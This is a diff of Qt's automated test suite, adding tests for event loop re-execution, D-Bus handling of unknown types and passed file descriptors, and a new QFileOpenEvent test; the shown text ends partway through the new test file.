--- a/tests/auto/network.pro
+++ b/tests/auto/network.pro
@@ -35,6 +35,8 @@ SUBDIRS=\
     qsslerror \
     qsslkey \
     qsslsocket \
+    qsslsocket_onDemandCertificates_member \
+    qsslsocket_onDemandCertificates_static \
 #    qnetworkproxyfactory \ # Uses a hardcoded proxy configuration
 
 !contains(QT_CONFIG, private_tests): SUBDIRS -= \
diff --git a/tests/auto/networkselftest/networkselftest.pro b/tests/auto/networkselftest/networkselftest.pro
index 98e981c..2742fcb 100644
--- a/tests/auto/networkselftest/networkselftest.pro
+++ b/tests/auto/networkselftest/networkselftest.pro
@@ -12,6 +12,7 @@ wince*: {
     addFiles.files = rfc3252.txt
     addFiles.path = .
     DEPLOYMENT += addFiles
+    TARGET.CAPABILITY = NetworkServices ReadUserData
 } else:vxworks*: {
     DEFINES += SRCDIR=\\\"\\\"
 } else {
diff --git a/tests/auto/networkselftest/tst_networkselftest.cpp b/tests/auto/networkselftest/tst_networkselftest.cpp
index cfcafc0..64de64a 100644
--- a/tests/auto/networkselftest/tst_networkselftest.cpp
+++ b/tests/auto/networkselftest/tst_networkselftest.cpp
@@ -967,7 +967,7 @@ void tst_NetworkSelfTest::smbServer()
     QVERIFY2(f, qt_error_string().toLocal8Bit());
 
     char buf[128];
-    size_t ret = fread(buf, sizeof buf, 1, f);
+    size_t ret = fread(buf, 1, sizeof buf, f);
     fclose(f);
 
     QCOMPARE(ret, strlen(contents));
diff --git a/tests/auto/qabstractnetworkcache/tst_qabstractnetworkcache.cpp b/tests/auto/qabstractnetworkcache/tst_qabstractnetworkcache.cpp
index 6331db7..db0d0a7 100644
--- a/tests/auto/qabstractnetworkcache/tst_qabstractnetworkcache.cpp
+++ b/tests/auto/qabstractnetworkcache/tst_qabstractnetworkcache.cpp
@@ -331,7 +331,7 @@ void tst_QAbstractNetworkCache::checkSynchronous()
     QNetworkRequest request(realUrl);
 
     request.setAttribute(
-            static_cast<QNetworkRequest::Attribute>(QNetworkRequest::DownloadBufferAttribute + 1),
+            QNetworkRequest::SynchronousRequestAttribute,
             true);
 
     // prime the cache
diff --git a/tests/auto/qcoreapplication/tst_qcoreapplication.cpp b/tests/auto/qcoreapplication/tst_qcoreapplication.cpp
index 95055d1..bc69461 100644
--- a/tests/auto/qcoreapplication/tst_qcoreapplication.cpp
+++ b/tests/auto/qcoreapplication/tst_qcoreapplication.cpp
@@ -59,6 +59,9 @@ private slots:
     void applicationPid();
     void globalPostedEventsCount();
     void processEventsAlwaysSendsPostedEvents();
+    void reexec();
+    void execAfterExit();
+    void eventLoopExecAfterExit();
 };
 
 class EventSpy : public QObject
@@ -524,5 +527,47 @@ void tst_QCoreApplication::processEventsAlwaysSendsPostedEvents()
     } while (t.elapsed() < 3000);
 }
 
+void tst_QCoreApplication::reexec()
+{
+    int argc = 1;
+    char *argv[] = { "tst_qcoreapplication" };
+    QCoreApplication app(argc, argv);
+
+    // exec once
+    QMetaObject::invokeMethod(&app, "quit", Qt::QueuedConnection);
+    QCOMPARE(app.exec(), 0);
+
+    // and again
+    QMetaObject::invokeMethod(&app, "quit", Qt::QueuedConnection);
+    QCOMPARE(app.exec(), 0);
+}
+
+void tst_QCoreApplication::execAfterExit()
+{
+    int argc = 1;
+    char *argv[] = { "tst_qcoreapplication" };
+    QCoreApplication app(argc, argv);
+
+    app.exit(1);
+    QMetaObject::invokeMethod(&app, "quit", Qt::QueuedConnection);
+    QCOMPARE(app.exec(), 0);
+}
+
+void tst_QCoreApplication::eventLoopExecAfterExit()
+{
+    int argc = 1;
+    char *argv[] = { "tst_qcoreapplication" };
+    QCoreApplication app(argc, argv);
+
+    // exec once and exit
+    QMetaObject::invokeMethod(&app, "quit", Qt::QueuedConnection);
+    QCOMPARE(app.exec(), 0);
+
+    // and again, but this time using a QEventLoop
+    QEventLoop loop;
+    QMetaObject::invokeMethod(&loop, "quit", Qt::QueuedConnection);
+    QCOMPARE(loop.exec(), 0);
+}
+
 QTEST_APPLESS_MAIN(tst_QCoreApplication)
 #include "tst_qcoreapplication.moc"
diff --git a/tests/auto/qdbusinterface/tst_qdbusinterface.cpp b/tests/auto/qdbusinterface/tst_qdbusinterface.cpp
index c1938b1..39f0677 100644
--- a/tests/auto/qdbusinterface/tst_qdbusinterface.cpp
+++ b/tests/auto/qdbusinterface/tst_qdbusinterface.cpp
@@ -169,6 +169,25 @@ public slots:
 int MyObject::callCount = 0;
 QVariantList MyObject::callArgs;
 
+class MyObjectUnknownType: public QObject
+{
+    Q_OBJECT
+    Q_CLASSINFO("D-Bus Interface", "com.trolltech.QtDBus.MyObject")
+    Q_CLASSINFO("D-Bus Introspection", ""
+"  <interface name=\"com.trolltech.QtDBus.MyObjectUnknownTypes\" >\n"
+"    <property access=\"readwrite\" type=\"~\" name=\"prop1\" />\n"
+"    <signal name=\"somethingHappened\" >\n"
+"      <arg direction=\"out\" type=\"~\" />\n"
+"    </signal>\n"
+"    <method name=\"ping\" >\n"
+"      <arg direction=\"in\" type=\"~\" name=\"ping\" />\n"
+"      <arg direction=\"out\" type=\"~\" name=\"ping\" />\n"
+"    </method>\n"
+"    <method name=\"regularMethod\" />\n"
+"  </interface>\n"
+                "")
+};
+
 class Spy: public QObject
 {
     Q_OBJECT
@@ -228,6 +247,7 @@ private slots:
     void notValidDerived();
     void invalidAfterServiceOwnerChanged();
     void introspect();
+    void introspectUnknownTypes();
     void callMethod();
     void invokeMethod();
     void invokeMethodWithReturn();
@@ -250,8 +270,7 @@ void tst_QDBusInterface::initTestCase()
 
     con.registerObject("/", &obj, QDBusConnection::ExportAllProperties
                        | QDBusConnection::ExportAllSlots
-                       | QDBusConnection::ExportAllInvokables
-                       | QDBusConnection::ExportChildObjects);
+                       | QDBusConnection::ExportAllInvokables);
 }
 
 void tst_QDBusInterface::notConnected()
@@ -322,6 +341,27 @@ void tst_QDBusInterface::introspect()
     QVERIFY(mo->indexOfProperty("complexProp") != -1);
 }
 
+void tst_QDBusInterface::introspectUnknownTypes()
+{
+    QDBusConnection con = QDBusConnection::sessionBus();
+    MyObjectUnknownType obj;
+    con.registerObject("/unknownTypes", &obj, QDBusConnection::ExportAllContents);
+    QDBusInterface iface(QDBusConnection::sessionBus().baseService(), QLatin1String("/unknownTypes"),
+                         "com.trolltech.QtDBus.MyObjectUnknownTypes");
+
+    const QMetaObject *mo = iface.metaObject();
+    QVERIFY(mo->indexOfMethod("regularMethod()") != -1); // this is the control
+    QVERIFY(mo->indexOfMethod("somethingHappened(QDBusRawType<0x7e>*)") != -1);
+
+    QVERIFY(mo->indexOfMethod("ping(QDBusRawType<0x7e>*)") != -1);
+    int midx = mo->indexOfMethod("ping(QDBusRawType<0x7e>*)");
+    QCOMPARE(mo->method(midx).typeName(), "QDBusRawType<0x7e>*");
+
+    QVERIFY(mo->indexOfProperty("prop1") != -1);
+    int pidx = mo->indexOfProperty("prop1");
+    QCOMPARE(mo->property(pidx).typeName(), "QDBusRawType<0x7e>*");
+}
+
 void tst_QDBusInterface::callMethod()
 {
     QDBusConnection con = QDBusConnection::sessionBus();
diff --git a/tests/auto/qdbusmarshall/test/test.pro b/tests/auto/qdbusmarshall/test/test.pro
index 8901999..71fc656 100644
--- a/tests/auto/qdbusmarshall/test/test.pro
+++ b/tests/auto/qdbusmarshall/test/test.pro
@@ -5,4 +5,5 @@ TARGET = ../tst_qdbusmarshall
 QT = core
 QT += dbus
 
-
+LIBS += $$QT_LIBS_DBUS
+QMAKE_CXXFLAGS += $$QT_CFLAGS_DBUS
diff --git a/tests/auto/qdbusmarshall/tst_qdbusmarshall.cpp b/tests/auto/qdbusmarshall/tst_qdbusmarshall.cpp
index c05e49c..9bae6af 100644
--- a/tests/auto/qdbusmarshall/tst_qdbusmarshall.cpp
+++ b/tests/auto/qdbusmarshall/tst_qdbusmarshall.cpp
@@ -38,7 +38,6 @@
 ** $QT_END_LICENSE$
 **
 ****************************************************************************/
-#define DBUS_API_SUBJECT_TO_CHANGE
 #include <QtCore/QtCore>
 #include <QtTest/QtTest>
 #include <QtDBus/QtDBus>
@@ -47,6 +46,8 @@
 #include "common.h"
 #include <limits>
 
+#include <dbus/dbus.h>
+
 static const char serviceName[] = "com.trolltech.autotests.qpong";
 static const char objectPath[] = "/com/trolltech/qpong";
 static const char *interfaceName = serviceName;
@@ -88,66 +89,59 @@ private slots:
     void sendCallErrors_data();
     void sendCallErrors();
 
+    void receiveUnknownType_data();
+    void receiveUnknownType();
+
 private:
     QProcess proc;
 };
 
-struct UnregisteredType { };
-Q_DECLARE_METATYPE(UnregisteredType)
-
-class WaitForQPong: public QObject
+class QDBusMessageSpy: public QObject
 {
     Q_OBJECT
-public:
-    WaitForQPong();
-    bool ok();
-public Q_SLOTS:
-    void ownerChange(const QString &name)
+public slots:
+    Q_SCRIPTABLE int theSlot(const QDBusMessage &msg)
     {
-        if (name == serviceName)
-            loop.quit();
+        list << msg;
+        return 42;
     }
-
-private:
-    QEventLoop loop;
+public:
+    QList<QDBusMessage> list;
 };
 
-WaitForQPong::WaitForQPong()
-{
-    QDBusConnection con = QDBusConnection::sessionBus();
-    if (!ok()) {
-        connect(con.interface(), SIGNAL(serviceOwnerChanged(QString,QString,QString)),
-                SLOT(ownerChange(QString)));
-        QTimer::singleShot(2000, &loop, SLOT(quit()));
-        loop.exec();
-    }
-}
-
-bool WaitForQPong::ok()
-{
-    return QDBusConnection::sessionBus().isConnected() &&
-        QDBusConnection::sessionBus().interface()->isServiceRegistered(serviceName);
-}
+struct UnregisteredType { };
+Q_DECLARE_METATYPE(UnregisteredType)
 
 void tst_QDBusMarshall::initTestCase()
 {
     commonInit();
+    QDBusConnection con = QDBusConnection::sessionBus();
 #ifdef Q_OS_WIN
     proc.start("qpong");
 #else
     proc.start("./qpong/qpong");
 #endif
-    QVERIFY(proc.waitForStarted());
-
-    WaitForQPong w;
-    QVERIFY(w.ok());
-    //QTest::qWait(2000);
+    if (!QDBusConnection::sessionBus().interface()->isServiceRegistered(serviceName)) {
+        QVERIFY(proc.waitForStarted());
+
+        QVERIFY(con.isConnected());
+        con.connect("org.freedesktop.DBus", QString(), "org.freedesktop.DBus", "NameOwnerChanged",
+                    QStringList() << serviceName << QString(""), QString(),
+                    &QTestEventLoop::instance(), SLOT(exitLoop()));
+        QTestEventLoop::instance().enterLoop(2);
+        QVERIFY(!QTestEventLoop::instance().timeout());
+        QVERIFY(QDBusConnection::sessionBus().interface()->isServiceRegistered(serviceName));
+        con.disconnect("org.freedesktop.DBus", QString(), "org.freedesktop.DBus", "NameOwnerChanged",
+                       QStringList() << serviceName << QString(""), QString(),
+                       &QTestEventLoop::instance(), SLOT(exitLoop()));
+    }
 }
 
 void tst_QDBusMarshall::cleanupTestCase()
 {
     proc.close();
-    proc.kill();
+    proc.terminate();
+    proc.waitForFinished(200);
 }
 
 void tst_QDBusMarshall::sendBasic_data()
@@ -700,6 +694,8 @@ void tst_QDBusMarshall::sendBasic()
     msg << value;
 
     QDBusMessage reply = con.call(msg);
+    QVERIFY2(reply.type() == QDBusMessage::ReplyMessage,
+             qPrintable(reply.errorName() + ": " + reply.errorMessage()));
     //qDebug() << reply;
 
     QCOMPARE(reply.arguments().count(), msg.arguments().count());
@@ -938,5 +934,145 @@ void tst_QDBusMarshall::sendCallErrors()
     QCOMPARE(reply.errorMessage(), errorMsg);
 }
 
+void tst_QDBusMarshall::receiveUnknownType_data()
+{
+    QTest::addColumn<int>("receivedTypeId");
+    QTest::newRow("in-call") << qMetaTypeId<void*>();
+    QTest::newRow("type-variant") << qMetaTypeId<QDBusVariant>();
+    QTest::newRow("type-array") << qMetaTypeId<QDBusArgument>();
+    QTest::newRow("type-struct") << qMetaTypeId<QDBusArgument>();
+    QTest::newRow("type-naked") << qMetaTypeId<void *>();
+}
+
+struct DisconnectRawDBus {
+    static void cleanup(DBusConnection *connection)
+    {
+        if (!connection)
+            return;
+        dbus_connection_close(connection);
+        dbus_connection_unref(connection);
+    }
+};
+template <typename T, void (*unref)(T *)> struct GenericUnref
+{
+    static void cleanup(T *type)
+    {
+        if (!type) return;
+        unref(type);
+    }
+};
+
+// use these scoped types to avoid memory leaks if QVERIFY or QCOMPARE fails
+typedef QScopedPointer<DBusConnection, DisconnectRawDBus> ScopedDBusConnection;
+typedef QScopedPointer<DBusMessage, GenericUnref<DBusMessage, dbus_message_unref> > ScopedDBusMessage;
+typedef QScopedPointer<DBusPendingCall, GenericUnref<DBusPendingCall, dbus_pending_call_unref> > ScopedDBusPendingCall;
+
+void tst_QDBusMarshall::receiveUnknownType()
+{
+#ifndef DBUS_TYPE_UNIX_FD
+    QSKIP("Your system's D-Bus library is too old for this test", SkipAll);
+#else
+    QDBusConnection con = QDBusConnection::sessionBus();
+    QVERIFY(con.isConnected());
+
+    // this needs to be implemented in raw
+    // open a new connection to the bus daemon
+    DBusError error;
+    dbus_error_init(&error);
+    ScopedDBusConnection rawcon(dbus_bus_get_private(DBUS_BUS_SESSION, &error));
+    QVERIFY2(rawcon.data(), error.name);
+
+    // check if this bus supports passing file descriptors
+    if (!dbus_connection_can_send_type(rawcon.data(), DBUS_TYPE_UNIX_FD))
+        QSKIP("Your session bus does not allow sending Unix file descriptors", SkipAll);
+
+    if (qstrcmp(QTest::currentDataTag(), "in-call") == 0) {
+        // create a call back to us containing a file descriptor
+        QDBusMessageSpy spy;
+        con.registerObject("/spyObject", &spy, QDBusConnection::ExportAllSlots);
+        ScopedDBusMessage msg(dbus_message_new_method_call(con.baseService().toLatin1(), "/spyObject", NULL, "theSlot"));
+
+        int fd = fileno(stdout);
+        dbus_message_append_args(msg.data(), DBUS_TYPE_UNIX_FD, &fd, DBUS_TYPE_INVALID);
+
+        // try to send to us
+        DBusPendingCall *pending_ptr;
+        dbus_connection_send_with_reply(rawcon.data(), msg.data(), &pending_ptr, 1000);
+        ScopedDBusPendingCall pending(pending_ptr);
+
+        // check that it got sent
+        while (dbus_connection_dispatch(rawcon.data()) == DBUS_DISPATCH_DATA_REMAINS)
+            ;
+
+        // now spin our event loop. We don't catch this call, so let's get the reply
+        QEventLoop loop;
+        QTimer::singleShot(200, &loop, SLOT(quit()));
+        loop.exec();
+
+        // now try to receive the reply
+        dbus_pending_call_block(pending.data());
+
+        // check that the spy received what it was supposed to receive
+        QCOMPARE(spy.list.size(), 1);
+        QCOMPARE(spy.list.at(0).arguments().size(), 1);
+        QFETCH(int, receivedTypeId);
+        QCOMPARE(spy.list.at(0).arguments().at(0).userType(), receivedTypeId);
+
+        msg.reset(dbus_pending_call_steal_reply(pending.data()));
+        QVERIFY(msg);
+        QCOMPARE(dbus_message_get_type(msg.data()), DBUS_MESSAGE_TYPE_METHOD_RETURN);
+        QCOMPARE(dbus_message_get_signature(msg.data()), DBUS_TYPE_INT32_AS_STRING);
+
+        int retval;
+        QVERIFY(dbus_message_get_args(msg.data(), &error, DBUS_TYPE_INT32, &retval, DBUS_TYPE_INVALID));
+        QCOMPARE(retval, 42);
+    } else {
+        // create a signal that we'll emit
+        static const char signalName[] = "signalName";
+        static const char interfaceName[] = "local.interface.name";
+        ScopedDBusMessage msg(dbus_message_new_signal("/", interfaceName, signalName));
+        con.connect(dbus_bus_get_unique_name(rawcon.data()), QString(), interfaceName, signalName, &QTestEventLoop::instance(), SLOT(exitLoop()));
+
+        QDBusMessageSpy spy;
+        con.connect(dbus_bus_get_unique_name(rawcon.data()), QString(), interfaceName, signalName, &spy, SLOT(theSlot(QDBusMessage)));
+
+        DBusMessageIter iter;
+        dbus_message_iter_init_append(msg.data(), &iter);
+        int fd = fileno(stdout);
+
+        if (qstrcmp(QTest::currentDataTag(), "type-naked") == 0) {
+            // send naked
+            dbus_message_iter_append_basic(&iter, DBUS_TYPE_UNIX_FD, &fd);
+        } else {
+            DBusMessageIter subiter;
+            if (qstrcmp(QTest::currentDataTag(), "type-variant") == 0)
+                dbus_message_iter_open_container(&iter, DBUS_TYPE_VARIANT, DBUS_TYPE_UNIX_FD_AS_STRING, &subiter);
+            else if (qstrcmp(QTest::currentDataTag(), "type-array") == 0)
+                dbus_message_iter_open_container(&iter, DBUS_TYPE_ARRAY, DBUS_TYPE_UNIX_FD_AS_STRING, &subiter);
+            else if (qstrcmp(QTest::currentDataTag(), "type-struct") == 0)
+                dbus_message_iter_open_container(&iter, DBUS_TYPE_STRUCT, 0, &subiter);
+            dbus_message_iter_append_basic(&subiter, DBUS_TYPE_UNIX_FD, &fd);
+            dbus_message_iter_close_container(&iter, &subiter);
+        }
+
+        // send it
+        dbus_connection_send(rawcon.data(), msg.data(), 0);
+
+        // check that it got sent
+        while (dbus_connection_dispatch(rawcon.data()) == DBUS_DISPATCH_DATA_REMAINS)
+            ;
+
+        // now let's see what happens
+        QTestEventLoop::instance().enterLoop(1);
+        QVERIFY(!QTestEventLoop::instance().timeout());
+        QCOMPARE(spy.list.size(), 1);
+        QCOMPARE(spy.list.at(0).arguments().count(), 1);
+        QFETCH(int, receivedTypeId);
+        //qDebug() << spy.list.at(0).arguments().at(0).typeName();
+        QCOMPARE(spy.list.at(0).arguments().at(0).userType(), receivedTypeId);
+    }
+#endif
+}
+
 QTEST_MAIN(tst_QDBusMarshall)
 #include "tst_qdbusmarshall.moc"
diff --git a/tests/auto/qdbusperformance/tst_qdbusperformance.cpp b/tests/auto/qdbusperformance/tst_qdbusperformance.cpp
index 42db697..a5b4b98 100644
--- a/tests/auto/qdbusperformance/tst_qdbusperformance.cpp
+++ b/tests/auto/qdbusperformance/tst_qdbusperformance.cpp
@@ -125,7 +125,7 @@ void tst_QDBusPerformance::init()
 
 void tst_QDBusPerformance::callSpeed()
 {
-    QTime timer;
+    QElapsedTimer timer;
 
     int callCount = 0;
     timer.start();
@@ -141,7 +141,7 @@ void tst_QDBusPerformance::callSpeed()
 
 bool tst_QDBusPerformance::executeTest(const char *funcname, int size, const QVariant &data)
 {
-    QTime timer;
+    QElapsedTimer timer;
 
     int callCount = 0;
     qint64 transferred = 0;
diff --git a/tests/auto/qdbusxmlparser/tst_qdbusxmlparser.cpp b/tests/auto/qdbusxmlparser/tst_qdbusxmlparser.cpp
index 25595c5..f83795c 100644
--- a/tests/auto/qdbusxmlparser/tst_qdbusxmlparser.cpp
+++ b/tests/auto/qdbusxmlparser/tst_qdbusxmlparser.cpp
@@ -287,11 +287,14 @@ void tst_QDBusXmlParser::methods_data()
         "</method>" << map;
 
     // one invalid arg
+    method.inputArgs << arg("~", "invalid");
+    map.clear();
+    map << method;
     QTest::newRow("two-in-one-invalid") <<
         "<method name=\"Method\">"
         "<arg type=\"s\" direction=\"in\"/>"
-        "<arg type=\"~\" name=\"invalid\" direction=\"in\"/>" // this line should be ignored
         "<arg type=\"v\" direction=\"in\"/>"
+        "<arg type=\"~\" name=\"invalid\" direction=\"in\"/>"
         "</method>" << map;
 
     // one out argument
@@ -380,8 +383,6 @@ void tst_QDBusXmlParser::methods()
 
     QFETCH(QString, xmlDataFragment);
 
-    if (strcmp(QTest::currentDataTag(), "two-in-one-invalid") == 0)
-        QTest::ignoreMessage(QtWarningMsg, "Invalid D-BUS type signature '~' found while parsing introspection");
     QDBusIntrospection::Interface iface =
         QDBusIntrospection::parseInterface(xmlHeader + xmlDataFragment + xmlFooter);
 
@@ -390,9 +391,9 @@ void tst_QDBusXmlParser::methods()
     QFETCH(MethodMap, methodMap);
     MethodMap parsedMap = iface.methods;
 
-    QCOMPARE(methodMap.count(), parsedMap.count());
-    QCOMPARE(methodMap, parsedMap);
-}             
+    QCOMPARE(parsedMap.count(), methodMap.count());
+    QCOMPARE(parsedMap, methodMap);
+}
 
 void tst_QDBusXmlParser::signals__data()
 {
diff --git a/tests/auto/qeventloop/tst_qeventloop.cpp b/tests/auto/qeventloop/tst_qeventloop.cpp
index 7af722f..6860f19 100644
--- a/tests/auto/qeventloop/tst_qeventloop.cpp
+++ b/tests/auto/qeventloop/tst_qeventloop.cpp
@@ -112,6 +112,10 @@ signals:
 public:
     QMutex mutex;
     QWaitCondition cond;
+    volatile int result1;
+    volatile int result2;
+    MultipleExecThread() : result1(0xdead), result2(0xbeef) {}
+
     void run()
     {
         QMutexLocker locker(&mutex);
@@ -124,13 +128,13 @@ public:
         connect(&timer, SIGNAL(timeout()), SLOT(quit()), Qt::DirectConnection);
         timer.setInterval(1000);
         timer.start();
-        (void) exec();
+        result1 = exec();
 
         // this should return immediately, since exit() has been called
         cond.wakeOne();
         cond.wait(&mutex);
         QEventLoop eventLoop;
-        (void) eventLoop.exec();
+        result2 = eventLoop.exec();
     }
 };
 
@@ -197,7 +201,9 @@ private slots:
     void symbianNestedActiveSchedulerLoop();
     void processEvents();
     void exec();
+    void reexec();
     void exit();
+    void execAfterExit();
     void wakeUp();
     void quit();
     void processEventsExcludeSocket();
@@ -398,7 +404,9 @@ void tst_QEventLoop::exec()
     }
 
     {
-        // calling exec() after exit()/quit() should return immediately
+        // calling QEventLoop::exec() after a thread loop has exit()ed should return immediately
+        // Note: this behaviour differs from QCoreApplication and QEventLoop
+        // see tst_QCoreApplication::eventLoopExecAfterExit, tst_QEventLoop::reexec
         MultipleExecThread thread;
 
         // start thread and wait for checkpoint
@@ -411,6 +419,8 @@ void tst_QEventLoop::exec()
         thread.cond.wakeOne();
         thread.cond.wait(&thread.mutex);
         QVERIFY(spy.count() > 0);
+        int v = thread.result1;
+        QCOMPARE(v, 0);
 
         // exec should return immediately
         spy.clear();
@@ -418,6 +428,8 @@ void tst_QEventLoop::exec()
         thread.mutex.unlock();
         thread.wait();
         QCOMPARE(spy.count(), 0);
+        v = thread.result2;
+        QCOMPARE(v, -1);
     }
 
     {
@@ -462,9 +474,32 @@ void tst_QEventLoop::exec()
 #endif
 }
 
+void tst_QEventLoop::reexec()
+{
+    QEventLoop loop;
+
+    // exec once
+    QMetaObject::invokeMethod(&loop, "quit", Qt::QueuedConnection);
+    QCOMPARE(loop.exec(), 0);
+
+    // and again
+    QMetaObject::invokeMethod(&loop, "quit", Qt::QueuedConnection);
+    QCOMPARE(loop.exec(), 0);
+}
+
 void tst_QEventLoop::exit()
 { DEPENDS_ON(exec()); }
 
+void tst_QEventLoop::execAfterExit()
+{
+    QEventLoop loop;
+    EventLoopExiter obj(&loop);
+
+    QMetaObject::invokeMethod(&obj, "exit", Qt::QueuedConnection);
+    loop.exit(1);
+    QCOMPARE(loop.exec(), 0);
+}
+
 void tst_QEventLoop::wakeUp()
 {
     EventLoopThread thread;
diff --git a/tests/auto/qfileopenevent/qfileopenevent.pro b/tests/auto/qfileopenevent/qfileopenevent.pro
new file mode 100644
index 0000000..45978d7
--- /dev/null
+++ b/tests/auto/qfileopenevent/qfileopenevent.pro
@@ -0,0 +1,2 @@
+TEMPLATE = subdirs
+SUBDIRS = test qfileopeneventexternal
diff --git a/tools/qdoc3/ccodeparser.cpp b/tests/auto/qfileopenevent/qfileopeneventexternal/qfileopeneventexternal.cpp
index 20a12e5..0a5e032 100644
--- a/tools/qdoc3/ccodeparser.cpp
+++ b/tests/auto/qfileopenevent/qfileopeneventexternal/qfileopeneventexternal.cpp
@@ -4,7 +4,7 @@
 ** All rights reserved.
 ** Contact: Nokia Corporation (qt-info@nokia.com)
 **
-** This file is part of the tools applications of the Qt Toolkit.
+** This file is part of the test suite of the Qt Toolkit.
 **
 ** $QT_BEGIN_LICENSE:LGPL$
 ** No Commercial Usage
@@ -39,35 +39,34 @@
 **
 ****************************************************************************/
 
-/*
-  ccodeparser.cpp
-*/
+#include <QtGui>
+#include <QApplication>
+#include <QEvent>
 
-#include "ccodeparser.h"
-
-QT_BEGIN_NAMESPACE
-
-CCodeParser::CCodeParser()
-{
-}
-
-CCodeParser::~CCodeParser()
-{
-}
-
-QString CCodeParser::language()
+struct MyApplication : public QApplication
 {
-    return QLatin1String("C");
-}
+    MyApplication(int& argc, char** argv)
+    : QApplication(argc, argv)
+    {}
 
-QString CCodeParser::headerFileNameFilter()
-{
-    return QLatin1String("*.ch *.h");
-}
+    bool event(QEvent * event)
+    {
+        if (event->type() == QEvent::FileOpen) {
+            QFileOpenEvent* ev = static_cast<QFileOpenEvent *>(event);
+            QFile file;
+            bool ok = ev->openFile(file, QFile::Append | QFile::Unbuffered);
+            if (ok)
+                file.write(QByteArray("+external"));
+            return true;
+        } else {
+            return QApplication::event(event);
+        }
+    }
+};
 
-QString CCodeParser::sourceFileNameFilter()
+int main(int argc, char *argv[])
 {
-    return QLatin1String("*.c");
+    MyApplication a(argc, argv);
+    a.sendPostedEvents(&a, QEvent::FileOpen);
+    return 0;
 }
-
-QT_END_NAMESPACE
diff --git a/tests/auto/qfileopenevent/qfileopeneventexternal/qfileopeneventexternal.pro b/tests/auto/qfileopenevent/qfileopeneventexternal/qfileopeneventexternal.pro
new file mode 100644
index 0000000..b95ed45
--- /dev/null
+++ b/tests/auto/qfileopenevent/qfileopeneventexternal/qfileopeneventexternal.pro
@@ -0,0 +1,10 @@
+TEMPLATE = app
+TARGET = qfileopeneventexternal
+QT += core gui
+SOURCES += qfileopeneventexternal.cpp
+symbian: {
+    RSS_RULES += "embeddability=KAppEmbeddable;"
+    RSS_RULES.datatype_list += "priority = EDataTypePriorityHigh; type = \"application/x-tst_qfileopenevent\";"
+    LIBS += -lapparc \
+        -leikcore -lefsrv -lcone
+}
diff --git a/tests/auto/qfileopenevent/test/test.pro b/tests/auto/qfileopenevent/test/test.pro
new file mode 100644
index 0000000..3f16dcf
--- /dev/null
+++ b/tests/auto/qfileopenevent/test/test.pro
@@ -0,0 +1,7 @@
+load(qttest_p4)
+TARGET = tst_qfileopenevent
+HEADERS +=
+SOURCES += tst_qfileopenevent.cpp
+symbian {
+    LIBS+=-lefsrv -lapgrfx -lapmime
+}
diff --git a/tests/auto/qfileopenevent/test/tst_qfileopenevent.cpp b/tests/auto/qfileopenevent/test/tst_qfileopenevent.cpp
new file mode 100644
index 0000000..1177131
--- /dev/null
+++ b/tests/auto/qfileopenevent/test/tst_qfileopenevent.cpp
@@ -0,0 +1,362 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtTest/QtTest>
+#include <QEvent>
+
+#ifdef Q_OS_SYMBIAN
+#include <apgcli.h>
+#include "private/qcore_symbian_p.h"
+#endif
+
+class tst_qfileopenevent : public QObject
+{
+    Q_OBJECT
+public:
+    tst_qfileopenevent(){}
+    ~tst_qfileopenevent();
+
+public slots:
+    void initTestCase();
+
+private slots:
+    void constructor();
+    void fileOpen();
+    void handleLifetime();
+    void multiOpen();
+    void sendAndReceive();
+    void external_data();
+    void external();
+
+private:
+#ifdef Q_OS_SYMBIAN
+    RFile createRFile(const TDesC& filename, const TDesC8& content);
+#else
+    void createFile(const QString &filename, const QByteArray &content);
+#endif
+    QFileOpenEvent * createFileAndEvent(const QString &filename, const QByteArray &content);
+    void checkReadAndWrite(QFileOpenEvent& event, const QByteArray& readContent, const QByteArray& writeContent, bool writeOk);
+    QByteArray readFileContent(QFileOpenEvent& event);
+    bool appendFileContent(QFileOpenEvent& event, const QByteArray& writeContent);
+
+    bool event(QEvent *);
+
+private:
+#ifdef Q_OS_SYMBIAN
+    struct AutoRFs : public RFs
+    {
+        AutoRFs()
+        {
+            qt_symbian_throwIfError(Connect());
+            qt_symbian_throwIfError(ShareProtected());
+        }
+
+        ~AutoRFs()
+        {
+            Close();
+        }
+    };
+    AutoRFs fsSession;
+#endif
+};
+
+tst_qfileopenevent::~tst_qfileopenevent()
+{
+};
+
+void tst_qfileopenevent::initTestCase()
+{
+}
+
+#ifdef Q_OS_SYMBIAN
+RFile tst_qfileopenevent::createRFile(const TDesC& filename, const TDesC8& content)
+{
+    RFile file;
+    qt_symbian_throwIfError(file.Replace(fsSession, filename, EFileWrite));
+    qt_symbian_throwIfError(file.Write(content));
+    return file;
+}
+#else
+void tst_qfileopenevent::createFile(const QString &filename, const QByteArray &content)
+{
+    QFile file(filename);
+    file.open(QFile::WriteOnly);
+    file.write(content);
+    file.close();
+}
+#endif
+
+QFileOpenEvent * tst_qfileopenevent::createFileAndEvent(const QString &filename, const QByteArray &content)
+{
+#ifdef Q_OS_SYMBIAN
+    RFile rFile = createRFile(qt_QString2TPtrC(filename), TPtrC8((TText8*)content.constData(), content.size()));
+    QScopedPointer<RFile, QScopedPointerRCloser<RFile> > closeRFile(&rFile);
+    return new QFileOpenEvent(rFile);
+#else
+    createFile(filename, content);
+    return new QFileOpenEvent(filename);
+#endif
+}
+
+void tst_qfileopenevent::constructor()
+{
+    // check that filename get/set works
+    QFileOpenEvent nameTest(QLatin1String("fileNameTest"));
+    QCOMPARE(nameTest.file(), QLatin1String("fileNameTest"));
+
+    // check that url get/set works
